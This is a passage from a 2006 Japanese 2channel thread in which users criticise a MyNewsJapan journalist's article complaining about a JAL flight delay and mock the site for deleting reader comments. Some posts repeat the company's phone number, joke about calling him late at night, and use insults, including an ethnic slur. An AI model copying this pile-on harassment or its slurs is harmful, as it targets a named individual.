99 :ガダルカナル:2006/09/07(木) 21:14:58 ID:vYJSodlD0
>>98
ふつーにJAL使ってるよ
というかANAも使ってるが
合わせて年に5〜60回位。

回数多くなるほどいろんな場面を見てて、その中で思ったことを述べただけ
これでアンチJALと言われるなら、JALそのものが悲惨なんだろうな
確かに機材もCAも経営陣も株価もボロボロだが。

しかし、ANAで悲惨な対応を受けた、って話はあまり聞かないのは何故だろう。
どっちもどっちだと思うが。

100 :今北産業2:2006/09/07(木) 21:22:49 ID:KNk0XNtu0
>>93

15分ごとのリムジンに乗ることを放棄したことは、ライターの選択。
その選択によって、JALに謝罪と1億円を越える慰謝料を要求したとしても、それはJALとライターの問題。
それは、たいした問題ではない。

多くの読者は、15分ごとのリムジンバスを選択したとは思わず、
公共交通機関が無くなる最終便が延着かのような、重大な延着のような印象を受けてしまう点です。

ライターが、読者に仕掛けたトリックですよね。

ライターの記事をよめばわかりますが、
「到着が遅れた深夜になった時、ホテル代・タクシー代を補填する」
そのケースと今回のケース(15分ごとのリムジンを放棄)は、
全く同じケースであるかのように、JAL側に詰め寄ってます。

あきらかな、トリックです。


101 :Σ ◆projectlUY :2006/09/07(木) 21:27:42 ID:LpvM+9GB0
去年かおととしぐらいに、飛行機内の便所で隠れてタバコを吸ってたのがバレて飛行機が空港に引き返したって事件があったわけだが。
で、それが日経の社員らしいって話があって、
もしかして、それがこいつ?

102 :ガダルカナル:2006/09/07(木) 21:27:49 ID:vYJSodlD0
>>100
なるほどねぇ それはそうだ
それ投稿汁

103 :靖国:2006/09/07(木) 21:29:47 ID:gtuevcDk0
>>102
そんなこと書いたら一瞬で消されるなw

104 :Σ ◆projectlUY :2006/09/07(木) 21:38:12 ID:LpvM+9GB0
http://yasai.2ch.net/oversea/kako/966/966812132.html の125- はT氏とあるからこいつとは違うのか

105 :なにこれ?:2006/09/07(木) 21:46:41 ID:LeSqx7nc0
http://megalodon.jp/?url=http%3A%2F%2Fwww.mynewsjapan.com%2Fkobetsu.jsp%3Fsn%3D456+&go=%E5%8F%96%E5%BE%97

一応、現時点でのキャッシュ取得ニダ。

106 :なにこれ?:2006/09/07(木) 21:53:35 ID:LeSqx7nc0
はい、消された。

107 :なにこれ?:2006/09/07(木) 21:57:30 ID:LeSqx7nc0
また一定期間内の全部消したなw



108 :転んでも泣かない:2006/09/07(木) 22:02:19 ID:U+3VyDbR0
(ノ∀`)アチャー

109 :つ旦:2006/09/07(木) 22:03:12 ID:pTqVr54h0
ここってちょっと前にもクロネコが適当な梱包に包まれたママンのジャム入りの瓶を
壊したから数百万弁償しろとか何とか言うクレーマーが記事書いてたよな。確か。
と思ったら今も生きてるし。(w
http://www.mynewsjapan.com/kobetsu.jsp?sn=211

生粋のクレーマーばっか集めてんのか?(w

110 :早速飽きた:2006/09/07(木) 22:07:15 ID:LeSqx7nc0
すっげぇwwwww

クレームをつける=ジャーナリズム

だなwwwwwww

111 :ノーチラス:2006/09/07(木) 22:11:00 ID:vYJSodlD0
削除のされ方が激しいなw
荒らし認定されたか

それにしても、残ってるカキコも品のいいものばかりではないのに・・・
どうせなら全てまとめて消しちゃえばいいのにw


112 :闇献金疑惑:2006/09/07(木) 22:11:09 ID:XhA9j02K0
My news japanホームページより
設立2004年2月
資本金1000万円
本社 新宿区新宿1-9-4-1004
tel 03-5367-1713
fax 03-5367-1714
代表取締役 渡邊正裕

ここに住んでいるのかもしれん

113 :早速飽きた:2006/09/07(木) 22:12:12 ID:LeSqx7nc0
☆情報☆
電話かけたら本人が出るよ

114 :今北産業2:2006/09/07(木) 22:15:00 ID:KNk0XNtu0
>>109
使い古しの瓶に入ったジャムが、食えなくなったら 2億円の賠償か。
もし、結婚式に間に合わなかったら100億円くらいの賠償を、平気で求めてくるかもしれんな。


マジ、サービス業で、メシ食ってる人間からすると、こういうのは恐怖だよ。
みんな仕事をしながら、明日は我が身。
ライターの記事を読んで感じることは、自分が脅される・揺すられる身に立ったときの怖さ。


115 :早速飽きた:2006/09/07(木) 22:15:58 ID:LeSqx7nc0
常識と良識を失った奴は見るに耐えんな。

自分が正義だと勘違いしてるんだろうが、全くどうかしてるよ

116 :番組の途中ですが名無しです:2006/09/07(木) 22:19:41 ID:Z23LL/XX0 ?BRZ(5056)

 「.....この続きの文章、および全ての拡大画像は、会員のみに提供されております。


なんだこら

117 :ちんすこう:2006/09/07(木) 22:29:13 ID:I5WhLE710
この記事を気に入ったら、下記いずれかの評価をして下さい。
 最高評価
 高評価

バカじゃねえの、こいつら?
最初から批判受け入れる気まったく無いってことじゃん。
典型的な糞マスコミの体質そのまま。



118 :DQN:2006/09/07(木) 22:31:38 ID:gtuevcDk0
>>117
糞マスコミの典型なんだけど、

自分たちは糞マスコミの不正を取り上げてやってるんだ

って思ってるからタチが悪い。

119 :感動した!!:2006/09/07(木) 22:35:00 ID:fYRKzzLX0
正義面してるのが痛い。

120 :感動した!!:2006/09/07(木) 22:45:45 ID:fYRKzzLX0
MyNwesでのアクセス数が第二位になったみたいだな。
コメントのカウント数が600近くあるのに、実際には・・・ww

121 :何か質問ある?:2006/09/07(木) 22:46:17 ID:BxI1zcDP0
MyNewsなんてキチガイの巣窟。

122 :DQN:2006/09/07(木) 22:48:59 ID:gtuevcDk0
>>120
コメントのカウント数は実際に書き込まれた累計?


123 :感動した!!:2006/09/07(木) 22:49:40 ID:fYRKzzLX0
>>122
らしいよw

消されたのもカウントされてるみたいww

124 :DQN:2006/09/07(木) 22:57:30 ID:gtuevcDk0
>>123
ご丁寧だなw

125 :夜釣りですか?:2006/09/07(木) 23:17:38 ID:fYRKzzLX0
かみなりごろごろ。

126 :カティーサーク:2006/09/07(木) 23:46:54 ID:vYJSodlD0
コメントの方もだんだん煮詰ってきたなw
コメント停止はまだー?チンチン

127 :今北産業2:2006/09/07(木) 23:51:41 ID:KNk0XNtu0
少し、静かになったような。

どうやらライターの文章は、有料会員のみ、見ることが出来る部分があるらしい。

有料、つまりカネを取っておきながら、2ちゃんねらごときに論破されるようであれば、
有料会員から「金払ったけど騙された、謝罪と3倍返しの賠償しる」とか言われかねない。
普段から、謝罪と賠償を求めるとかの記事を書いて、お金を貰っているならば、
お金を払った有料会員から同じ要求をされてた時のことを想定してるはず。

有料会員からの謝罪と賠償要求を回避する、たったひとつの残された方法が、
読者コメントの全面削除だとするならば、消す方も辛い部分があると思う。

JALの件は、便名が書いてあるので、予定の出発時刻・到着時刻・バスの発車時刻・到着時刻
ホテルの到着時刻・披露宴の開始時刻。
たった、これだけの情報(というかより時刻)を、サイトに掲載するだけで、
混乱は避けられるはずです。
到着が50分遅れることで、バスを最大14分待つ(15分毎だから)と、
披露宴に間に合わなくなるというのが、時系列で一目瞭然。

ライターが、たったこれだけの情報(いくつかの時刻)を掲載することで、
読者は、適切な判断をすることができる。 安心して記事が読める。
ライターは、なぜ、それをせずに、徹夜でコメント削除を繰り返すのか?

もしも、時刻を書くと、マズいことになるならば、その時点でライターの文章は
破綻している。 逆に、なんら問題ないならば、時刻を掲載すればいいのではないか。




128 :ムーンベース:2006/09/08(金) 00:01:51 ID:T0J51YcK0
>>127
ナベちゃんにそんなことは分からないと思われw

129 :今北産業2:2006/09/08(金) 00:06:27 ID:19vqXLMX0
クロネコに対する謝罪と賠償に関しては、補償に対する約款が絡んでくる。

ヤマト運輸には、宅急便とヤマト便があり、補償額が決まってる。
ヤマト便には、壊れた時の保険を掛けることができ、壊れたら困るときには
保険金を掛けて荷物を送ればいい。

そうでなければ、保険金を払って荷物を送ってる人間がバカをみる。
保険のない宅急便を使って、2億円の賠償しる!とか言ってクレーム付けてるヤツと、
約款に基づいて、十万円の荷物に対して、大事なモノだから壊れたら申し訳ないといって保険を払って荷物送ってるヤツ。

人間像が見えてくるような気がする。

で、破損に対して、相手に謝罪や賠償を求めるならば、自分の方に不備がないことを提示しなきゃならない。
厳重な梱包で、かつ落としても割れにくい瓶 であることを、ネットに載せた上で、相手の不備を突かなければならない。

出会い頭の交通事故なんかが、わかりやすいけど、過失相殺といって、両方に過失があれば、
過失の割合によって賠償額は減額される。

相手の不備を突くときは、まず自分側に不備がないことを、大勢の人に主張しなければならない。
ライターのクロネコの件の文章には、それが無いばかりか、読者に不備を指摘されている。


ライターの文章は、「梱包に対する不備が無かったか?」という、たった一つの質問を入れるだけで簡単に破綻する。
そういう質問も禁止だったら....

130 :北海:2006/09/08(金) 00:07:44 ID:5clMG32D0
禁止です☆

131 :((;゜Д゜):2006/09/08(金) 00:16:27 ID:q3a23X9t0
日経新聞の懲戒処分に対して起こした裁判では
>2年生になる渡邊正裕君について
>「独りよがりで、人間関係が下手。(中略)学生気分を引きずっているようだ。
>新人で配属され、まだ若いからよく指導してほしい」
という証言もある


132 :今北産業2:2006/09/08(金) 00:27:51 ID:19vqXLMX0
携帯から、0120のフリーダイヤルが掛けられない。
これについて「利用者がなるべく電話を掛けられないように」とか言ってる。

ごくごく些細なトラブルや些細な問い合わせの際、お手軽にその場で、
携帯で0120やられたら、電話を受ける側はたまったもんじゃないだろ。
携帯からの0120を受けると、電話料金も安くないだろうし。

電話を持ってない人は、内容を整理して、冷却時間をおいて内容を整理して
公衆電話から0120。
自宅でインターネットやってる人は、大抵、普通の電話あるよね。


読者コメントを削除されるだけならともかく、
「なぜ、あなたは、15分毎に発車する、リムジンバスに乗らなかったのですか?」
という質問をすることもできない。
読者が質問したとしても、返答を書く場所が用意されていないホームページ。

それに対して、利用者が無料で利用できる(会社のサービスに対して質問できる)
けど携帯からは繋がらない 0120の電話回線。

どちらが、どれくらい閉鎖的でしょうか?
こういう質問もダメなんだよな。




133 :ムーンベース:2006/09/08(金) 00:30:45 ID:T0J51YcK0
自分のサイトだって連絡先が03じゃねーかと…

134 :北海:2006/09/08(金) 00:33:36 ID:5clMG32D0
03-5367-1713
の事でつよね?

135 :ムーンベース:2006/09/08(金) 00:37:56 ID:T0J51YcK0
>>134
それ以外に0120とかあった?
きっとあるんだと思うけど。

電話したら本人が誠実に答えてくれるんじゃないでしょうか?

136 :しぃ:2006/09/08(金) 00:38:18 ID:AvXo7MPm0
つーか今北産業のカキコはいちいちもっともだ
主張を要約したサイトつくってうrlをカキコしてみるとか・・黙殺かな?w

137 :北海:2006/09/08(金) 00:39:03 ID:5clMG32D0
削除です☆

138 :しぃ:2006/09/08(金) 00:42:32 ID:AvXo7MPm0
でもなー
企業(特にサービス業の大企業)の客電でフリーダイヤルじゃなかったらちょっと引くな
クレカ会社も盗難紛失やリボ払いはフリーダイヤルなのに、一般対応は一般電話(有料)とか、
一昔前は携帯会社のフリーダイヤルに携帯からかけられなかったことがあって笑った
一定規模の企業の対顧客受付がフリーダイヤルじゃないってのはやっぱりどーよ、てなキガス

ただJALは一旦かけて携帯に折り返して貰えばそれでいいんじゃないかと思うんだが。甘い?

139 :北海:2006/09/08(金) 00:45:39 ID:5clMG32D0
>>135
でつよね。0120で携帯から掛かる番号が絶対にあるはずですよね!!
だってJAL批判するくらいですから当然用意されてるんですよね!!

140 :番組の途中ですが名無しです:2006/09/08(金) 00:48:13 ID:7ZLCqnyD0
飛行機っつーか、公共交通機関でも、民間のでもそうだけど、
時間に遅れるなんて通常想定の範囲内じゃない?
しょうがないだろ、そんなの。

安全を考慮して遅れはクレーム、
無理して運行して事故が起きればクレーム

どおすりゃいいんだよ

141 :((;゜Д゜):2006/09/08(金) 00:48:22 ID:q3a23X9t0
108の自動コレクトコールとか、スカイプアウトでかけてみたら?
非通知ではとらなくとも、国際電話のように圏外と出るスカイプアウトなら本人が出るのでは?

142 :ムーンベース:2006/09/08(金) 00:52:40 ID:T0J51YcK0
おっ、誰か電凸ですか!!

143 :今北産業2:2006/09/08(金) 01:00:04 ID:19vqXLMX0
ライターは、新幹線の特急料金を持ち出している

JRは、理由はなんであれ、到着が定刻より2時間以上遅れた場合は、
特急料金を払い戻しになる。 乗車券は払い戻しにならない。

到着が50分遅れでは、払い戻しの対象にはならない。
東京発の最終の新幹線が2時間遅れて、大阪地下鉄の終電に乗れなかったとしても、
JRは自宅までのタクシー代なんか払ってくれない。 終電であっても・・・
そりゃそうだろ。
終電ギリギリに到着するのであれば、地下鉄の会社に電話して、終電の時間調整による接続をお願いするのがせめてもの対応。

JRの場合、乗ってる特急が途中で止まって2時間遅れになって、列車内で待たされて到着が遅れたのなら、特急料金は戻る。
でも、始発が2時間以上遅れるようなら、その列車は「運休」になることが多いはず。
運休になれば、特急券は払い戻し。 正規料金で後続列車の特急券を買い直し。
後続列車の指定席が満席なら、自由席で立ちんぼう。これでも正規の特急料金。

飛行機の特急料金がああだこうだ、そういう客が増えてきたら、発車の遅れる飛行機
は「運休」にしてしまえばいい。 定期便を運休させて、時間をずらして臨時便を飛ばす。
運休になった航空券は手数料ナシの払い戻し。 臨時便は無割引(正規料金)で購入。

そんなふうになったら、結局、利用者が損をする。

一番、利用者にとって不利なのが「運休」だったりする。



144 :暴落:2006/09/08(金) 01:02:26 ID:T0J51YcK0
いや、ホントに今北産業の言う通りだ。
渡辺はこれに反論できるのか?

できないだろうけど…。

145 :早速飽きた:2006/09/08(金) 01:03:16 ID:e9E9G5A7O ?2BP(909)
イマイさん呼ぼうぜ

146 :三丁目:2006/09/08(金) 01:15:02 ID:5clMG32D0
いまきたさんぎょうのいうとおり☆

147 :ありえん!:2006/09/08(金) 01:29:15 ID:w8v08TgJ0
言論の自由はナベにもある。俺たちにも反論の自由はある。
彼は彼のメディアで不完全ながら主張している。俺たちはここで主張している。
一番の問題は、コメント消す事。これだけは許せない!


148 :なまはげ:2006/09/08(金) 01:29:24 ID:CXWYjHLP0
>>129
もう2年も前になるけど、当然そういう突っ込みは入ったけど片っ端から削除されたよ(w
あと、クロネコに賠償請求できるとしてこのキチガイ親父ではなく送り主のマミーだよね。
って突っ込みも全てリアルタイムに消されてますた。
ちなみに当時は縦読みは苦手だったらしい(w


149 :暴落:2006/09/08(金) 01:48:08 ID:T0J51YcK0
ナベちゃん寝ちゃったかな?

150 :友達できたか?:2006/09/08(金) 02:15:14 ID:5clMG32D0
電話かけたら起きるのかなぁ。

151 :指令!:2006/09/08(金) 02:17:58 ID:w8v08TgJ0
鬼の居ぬ間に、正論をコメントせよ!

152 :友達できたか?:2006/09/08(金) 02:29:53 ID:5clMG32D0
http://megalodon.jp/?url=http%3A%2F%2Fwww.mynewsjapan.com%2Fkobetsu.jsp%3Fsn%3D456+&go=%E5%8F%96%E5%BE%97

153 :惑星衝突:2006/09/08(金) 03:27:47 ID:fA8q11vl0
彼にとっては正論も、荒らしらしいよ。


154 :番組の途中ですが名無しです:2006/09/08(金) 03:33:12 ID:mq2rGXrY0
みっともない様子。見苦しく恥ずべき様子。
「―を演ずる」「―をさらす」

155 :惑星衝突:2006/09/08(金) 03:34:35 ID:fA8q11vl0
お。ちょうど月食の時間帯か。

156 :惑星衝突:2006/09/08(金) 03:59:03 ID:fA8q11vl0
現在削除された模様。

157 :地震だー:2006/09/08(金) 04:03:27 ID:fA8q11vl0
いくつか復活させたけど、めんどくせぇw


158 :地震だー:2006/09/08(金) 04:06:58 ID:fA8q11vl0
勝手に表示されるHN、ちと焦るな

159 :ギコ:2006/09/08(金) 04:11:53 ID:z4dUUw020
クレーマー認定

160 :ドル安:2006/09/08(金) 04:18:51 ID:T0J51YcK0
ナベちゃん早起きじゃん!
JALは朝3時頃に電話かけてきたのか?w

161 :富裕層:2006/09/08(金) 04:20:40 ID:eiWwFoCO0
そもそも学生時代にジャーナリスト目指してる奴なんて人の話を聞けないキモメンばっかしだろうが。
本当の意味で頭の切れる人なんかほとんどいない。

162 :地震だー:2006/09/08(金) 04:22:33 ID:fA8q11vl0
また削除きたーーー

リアルタイムで削除されてます。

今ならすんげぇ書かれるの嫌だと思うぞww

163 :番組の途中ですが名無しです:2006/09/08(金) 04:23:53 ID:h2JY47320
ゴミ溜めと違ってちゃんと清掃員がいるんですね

164 :地震だー:2006/09/08(金) 04:28:16 ID:fA8q11vl0
本人だけどね☆

165 :ドル安:2006/09/08(金) 04:37:52 ID:T0J51YcK0
代表自ら掃除をされてるのですね。

てか、ゴミ箱撤去すればゴミ捨てる手間が省けるのにねw

166 :富裕層:2006/09/08(金) 04:41:01 ID:eiWwFoCO0
>>163-165
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167 :ベンジャミン:2006/09/08(金) 04:41:19 ID:+r+NBTf70
会員限定ってなんだよこれ

168 :ばいきん:2006/09/08(金) 04:47:49 ID:/0TSu1xRO
お前が言うなニュース
略して前ニュース

169 :地震だー:2006/09/08(金) 04:49:17 ID:fA8q11vl0
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170 :ハゲてないよ:2006/09/08(金) 04:49:20 ID:qdMmzKoi0
飛行機使うときは何があるかわからんから一便余裕を持つとかが当たり前なのにな
遅れたところでクレームつけてさらに遅れるとか何しに来てるんだと

171 :ネット弁慶:2006/09/08(金) 05:01:15 ID:fA8q11vl0
クレーム付けにに来てるのです☆byナベちゃん

172 :ネット弁慶:2006/09/08(金) 05:06:29 ID:fA8q11vl0
おわっ。なんとドキっとするHNなんだ・・・

173 :出張族:2006/09/08(金) 06:49:03 ID:1KB6/H5q0
JALに基本的に非はないわね。
こいつの予約を受けた以外は。

結婚式後ホテルのビジネスルームで仕事をしていたとの記述があるが、
披露宴で酒飲んで徹夜で仕事をして、昼過ぎの飛行機に乗るのと、
関空まで徒歩5分の空港なんだから始発便もしくは2便目に乗れるぎり
ぎりまで寝て、東京に帰ってから仕事したほうが効率よくないか?

締め切り仕事があるなら出発前に済ますのが常識だろうし。

それとみんなが指摘してるんだけど、神戸なのに関空というのが理解
できないだよね。
なにもSKYを使って神戸空港とは言わなくとも、一時間毎にJAL便のある
伊丹でもいいんじゃないのかと?

飛行機を使い慣れていないのと披露宴への出席に慣れていない。
そして出張って言うのにも慣れていないようだね、彼は。

174 :腹減った:2006/09/08(金) 08:55:04 ID:o26SclrA0
俺の消されたな。品がないって書いたんだが。

175 :求職活動中:2006/09/08(金) 09:40:58 ID:fA8q11vl0
あーあ

176 :生後三ヶ月:2006/09/08(金) 09:47:57 ID:043YAIuY0
>>109
すげぇw ユスリ/タカリの温床w

177 :北海:2006/09/08(金) 09:54:23 ID:tUeCJgZk0
このサイト山中登志子ってババアもすげえぞ
ミネラルウォーターはヤバイ、水道水もヤバイって煽り記事書いて
他所で浄水器売ってるw

178 :草植え杉:2006/09/08(金) 10:01:05 ID:WKk4xTKe0
MNJってエコナに発ガン性のニュースの時も思ったけど、要はプロのクレーマーだよな。
もう一人のメイン記者である山中登志子氏も元「週刊金曜日」の人で、買ってはいけないシリーズで有名だし。

179 :紫電改:2006/09/08(金) 10:13:18 ID:TBOI0CmU0


2001年、日本経済新聞社とその代表者・鶴田卓彦社長(当時)を被告として
懲戒処分無効を求め東京地裁に提訴。人事部長と日経産業新聞編集長
(いずれも当時)を法廷に引っ張り出し尋問。 2004年、ジャーナリズムを
「権力と反対側にいる人たちをクライアントとするコンサルティングビジネス」
と考え、コンサルティングのノウハウをジャーナリズムに適用した独立系
インターネットメディア「MyNewsJapan」創業。 団塊ジュニア以降の20代
30代の若手世代を主なターゲット顧客として、ジャーナリズムとコマーシャ
リズムの両立を目指す。

180 :法案成立:2006/09/08(金) 10:25:14 ID:T0J51YcK0
>>177
企業から広告収入を得ているメディアが…
なんてよく言えるよな。

181 :儲です:2006/09/08(金) 10:44:39 ID:Fbu0tpr00
>>117
ヤフオクですら最高〜最低と評価付けられるのにな。

182 :ひきこもり:2006/09/08(金) 10:46:37 ID:IJA5EWxU0
当日の天候を調べてないのだが、関空が天候不良だった場合、
羽田出発後当該機が羽田に引き返す場合も有るよね。
飛行機を利用する場合のリスクを考えずに、飛行機利用した渡辺のリスク管理は疑問だな。

どうしても結婚式に出席する気ならJRを選択すべきだったよな。
まして関空から神戸まで自動車利用で65分かかると、ホテルオークラ神戸のアクセスマップに書いてあるのだから。
ttp://www.kobe.hotelokura.co.jp/about/access/index.html

リムジンでも関空から神戸三宮まで最短65分
ttp://www.kate.co.jp/pc/time_table/time.html

この65分と関空の乗り継ぎ時間を足した時間は、
新幹線の乗車時間を考えたら、決して小さくない。

183 :因果応報:2006/09/08(金) 10:46:50 ID:q3a23X9t0
記事は毎日配信されているわけではないようだ。
たまにあるクレーマーの自己主張を読むために金払う奴いるのか?

184 :夜釣りですか?:2006/09/08(金) 10:52:12 ID:yEJ9M78u0
なんで読者評価に「最高評価」と「高評価」しかねーんだ?
「低評価」と「最低評価」も作れよ

185 :ニート:2006/09/08(金) 11:17:30 ID:JQRglwQS0
伊丹の運用時間外でもない真昼間に羽田〜関空〜神戸なんて
ルートでわざわざ遠回りして往復すんのはよっぽどの暇人だなw
日航関西のダブルマイルにでも目がくらんだんじゃないか?


186 :よーしパパ:2006/09/08(金) 11:55:08 ID:ytPaDyt90
整理してみました。

乗客として被った迷惑は、50分の遅延および翌日の45分の延発と出発空港の変更。
(寝てるところを電話で起こされたなどという文句は論外)

やつが引き合いに出している新幹線は、2時間以上遅延した際に特急料金の払い戻しを行うが、
乗車券や乗客の事情による損失までは行わない。

JALは代替案を提示しており、客はこれを受け入れるか、
キャンセルして新幹線やANAのキャンセル待ちなど別の手段を選ぶかの選択が可能。
早めの延発連絡は、客のスケジュールや移動手段選択の自由度を上げるものであり、
むしろ親切な対応。

この程度のことで補償が得られないのは、
約款に無いだけでなく、多くのコメントが裏付けるように社会通念上当然。

常識的に補償を受けられるのは、遅延で深夜に到着、
あるいは夜の便が欠航し翌日に振り替えられた等のために、
乗客の乗り継ぎの交通手段に問題が生じるような場合。

ただしこのような場合、当然客によって終電の時間等に差異があるし、
宿泊施設の確保など一律の対応が困難な場合もある。
ある程度は現場の裁量で判断せざるを得ない。

187 :今北産業2:2006/09/08(金) 13:04:41 ID:19vqXLMX0
さて、ここで「もしも」のコーナー
「もしも、ライター(渡辺氏)の書いたこのJALの記事が、新聞のコラムとして掲載されたならば」
というのを考えてみたいと思います。 何処の新聞社を想像されても構いません。好きな新聞社を想像してください。

新聞のコラムは、コラムを書いたライターの考え方が優先されるので、それに関して新聞社がコメントすることはありません。
考え方は、個人個人で違うから、賛否両論あって当然です。

だけど、ライターの書いたコラムに書かれている状況が、あまりにも不自然だった場合、読者は、新聞社に対し、「これはどういうことだ?」と尋ねるでしょう。
コラムに書かれている状況接待が、あまりにも不自然であるならば、そのコラムそのものの信頼性がゼロになるためです。

具体的には「バスが15分おきに発着するバスに乗らなかったこと」を、あたかも
「夜中に到着して、終バスに間に合わなかった」かのように書いてあれば、そのコラムは、絶対におかしいぞ!と言うことになってしまいます。

これは、意見の違いとか、思想の違いとか、考え方の違いとか、そういうのとは違います。
そういう部分に、「誰がみても、絶対におかしいぞ!」というのがあれば、 批判はコラムのライターにはいきません。

誰もが「根本的に、おかしい」と分かるコラムを、新聞社が掲載したのは、どういうことですか?となります
つまり、矛先が新聞社に行くわけです。 そりゃ読者は質問するでしょう。 新聞社の編集長の判断が問われますよね。

もし、あなたが、新聞社の編集長だとしたら、このライター(渡辺氏)の書いたJALに対するコラムを
新聞に載せますか?

(A)原稿料がいくらかかっても良い。なにが何でも、渡辺氏のコラムを、新聞に載せたい。
(B)予算には上限がある。原稿料が予算内であれば、是非とも渡辺氏のコラムを、新聞に載せたい。
A,B以外の回答は、禁止です。 必ず、AかBを選んでください。


188 :半年ROMれ:2006/09/08(金) 13:12:46 ID:z2hAKGWx0
>>187
ABの二者択一は、無理だなぁ。

(C)ナベちゃんから、1890円をもらっても、掲載しないし、読みたくもない。

というのがあったら、(C)を選ぶんだけどな。

189 :よーしパパ:2006/09/08(金) 13:32:23 ID:M69vh/Ur0
長くなったんで、つづきを分けて連続投稿したら、灰汁禁になってもうた(恥)

(以下つづき)
問題はクレームをつけた客とそうでない客に対する対応が異なることで、
今回渡邉にだけタクシーチケットを渡したJALの対応には一貫性がなく、
この点について非難されるのは止むを得ない。

ただし、約款からもあるいは社会通念上からも、
本来無理な要求である補償を受け取ってしまった渡邉もある意味同罪。
これがわかっているならモラルに、わかっていないなら社会常識の欠如に問題があり、
どちらにしてもクレーマー呼ばわりされて当然。

記事の論旨がタイトルに記されているとおりなら、
当然タクシーチケットを突っ返してでも公平性を主張すべきで、
自分だけ得をしているようでは、全く説得力は無い。

記事の前半は、被害が大きかったことを誇張するために、
自分の特殊事情を並べることに終始しているが、
客観的に見た損失は冒頭に記した程度であり、
むしろ読者の反発をかう蛇足である。

結局、渡邉の行動や記事の内容はタイトルの論旨とずれまくっており、
要するに何を言いたいのかわからない駄文。
(まあ、実際のところ>>61が正解なんだろうけど。)

>>187
日経を首になってるようなやつだからな〜。

190 :ひきこもり:2006/09/08(金) 13:46:16 ID:zLeBb+I/0
私のニュース板との違いが解らないわ

191 :ヘタレ:2006/09/08(金) 14:31:56 ID:IJA5EWxU0
>>190
有料

192 :にしこり:2006/09/08(金) 14:44:56 ID:bAXyLuKK0
何が悲しゅうてこんな惨めな記事を公表しとるのよ…
相手が下手になると分かってから捏造気味な記事を書いて、煽って憂さ晴らししてるようにしか見えん。

193 :座布団一枚:2006/09/08(金) 15:11:39 ID:fA8q11vl0
恐喝です☆

194 :家内安全:2006/09/08(金) 15:25:54 ID:tUeCJgZk0
・記事はキチガイクレーム
・都合の悪いコメントは削除
・評価は良いしかつけられない

朝鮮超えてるだろこいつら

195 :座布団一枚:2006/09/08(金) 15:27:35 ID:fA8q11vl0
My (おなにー) NEWS

196 :ほいで:2006/09/08(金) 15:41:17 ID:z2hAKGWx0
あそこは、何人くらい、有料読者がいるのかなぁ。

197 :ほいで:2006/09/08(金) 15:43:42 ID:z2hAKGWx0
あ、15時40分くらいに、一斉に消された…。

198 :赤色巨星:2006/09/08(金) 15:44:29 ID:AvXo7MPm0
相変わらず削除しま栗ですな
はたから見て互いに労力の削りあい、攻防戦はいつまでもつかなw

199 :座布団一枚:2006/09/08(金) 15:56:41 ID:fA8q11vl0
ホントだ。消されたー☆

今日は、午前4時に消されたのと、さっき消されたのと2回くらいかなぁ。

200 :日本海:2006/09/08(金) 15:59:15 ID:21GNfSnC0
>>198
攻防は多勢に無勢。
適当なところで、あのスレの書込み禁止で終結だろう。

ここで頼んでも、たぶん無理な相談だろうが、
もし1890円を払ってる人がいたら、
有料部分をどっかにうpしてもらえないだろうか?

201 :番組の途中ですが名無しです:2006/09/08(金) 16:06:09 ID:8+xgPSO10
「オーマイニュース・インターナショナル」はオーマイニュースと日本のソフトバンクが今年3月に設立。
市民参加型インターネット新聞「オーマイニュース日本版(仮称)」の開設を目指していた。

 毎日新聞によれば、鳥越氏は「記者を41年やり、新聞、雑誌、テレビ、ラジオとかかわってきたが、
本格的な市民参加型ネットサイトの誕生にも加わることができた。
ニュース職人としての人生をかけて、他では見られないもの、代替できないものを作っていきたい」とコメントしている。

 ネット系のイメージがまったくなく、既存マスコミの既得権のなかで育ち、
記者クラブ擁護派で、かつ既存メディアと戦ったこともない、高齢(66歳)の鳥越氏が編集長に就任したことで、
最初から真新しさやインパクトに欠く船出となった。



嫉妬まみれやんwwww

202 :山城:2006/09/08(金) 16:10:43 ID:fA8q11vl0
渡辺ちゃん。

203 :桃色猥星:2006/09/08(金) 16:17:59 ID:tbMJkzmn0
MNJってメンズねッとじゃパンのことだろ?

204 :ネット左翼:2006/09/08(金) 16:32:50 ID:q3a23X9t0
渡邉正裕記者のプロフィール
http://www.mynewsjapan.com/profile.jsp?sn=28

205 :桃色猥星:2006/09/08(金) 16:46:59 ID:AvXo7MPm0
投稿側の投稿レベルがだんだん上がってきたな
理論化され争点が整理され読みやすくなってきている
結晶化すればするほど終戦に近づく

206 :番組の途中ですが名無しです:2006/09/08(金) 16:48:39 ID:7n7O/klv0
>>203
やらないか?

207 :記者会見:2006/09/08(金) 17:33:24 ID:LHP3P6/A0
渡邊氏のブログにも同内容が
ただし、タイトルは
「飛行機が遅延! 曖昧な補償基準をなんとかしろ」
http://www.actiblog.com/watanabe/11478
あいまいではなく、補償をしないと基準をはっきりさせるとまた文句を言うのだろう


208 :今北産業2:2006/09/08(金) 17:52:52 ID:19vqXLMX0
相変わらず、削除しまくりのようですな。

翌午前中(翌朝とは言えない時間だから、翌午前中と書いてるのであろう。普通の人はこんな変な日本語使わないゾ)
JALから電話があって起こされたとか。 熟睡してても携帯の呼び出し音で目が覚めますか、そうですか。

ライターが、レイトチェックアウトの手続きをしていないならば、
10時頃には起きてるはずで、電話で起こされたとしても感謝しなければならない。
だよな。 電話は翌朝ではなく翌午前中なのだから。 時間的に10時頃でしょ。

もともと、レイトチェックアウトするつもりだったところに、
電話が掛かってきたから、これ幸いとレイトチェックの手続きしろと怒鳴りつけた。
そんなところだろ。 繰り返すけど、電話は、翌朝ではなく翌午前中だ。


で、電話の内容は、飛行機の発車が45分遅れるという案内。
飛行機の約款の中に、「45分遅れる場合は、予約客に電話連絡しなければいけない」と
書いてあるかな? 書いてなければ、JALの好意と受け取るべきだろう。
翌朝ではなく翌午前中なのだから。

もし、電話が朝の5時とかいうのであったとすれば、読者を勘違いさせたライターが悪い。
多くの読者は翌午前中とあれば、翌朝ではないと受け取るのである。




209 :今北産業2:2006/09/08(金) 18:02:16 ID:19vqXLMX0
で、飛行機の出発が45分遅れることを、わざわざ知らせてくれたのだから、これは気の利いたサービスと受け取るべきではないか。

JRだったら、45分遅れを電話で知らせてくれないよ。
この前、旅先で、名古屋から夜行列車に乗ろうとして、名古屋駅周辺で時間を潰してから22時過ぎに駅へ行ったら、駅に「夜行列車全面運休」って張り紙が貼ってあった。
目的地に向けて、事前に進むわけにもいかず、名古屋で、宿探すしか
ないわな。 当然、宿を紹介する案内所もやってない。

たった45分遅れることを、事前に電話連絡してくれることが、どれだけ気の利いたサービスなのか。 わかってないんだろうな。
電話連絡にも電話代かかるし、人件費だってかかってる。
それを、熟睡中にのクソだの言ってると、マジでバチがあたる。

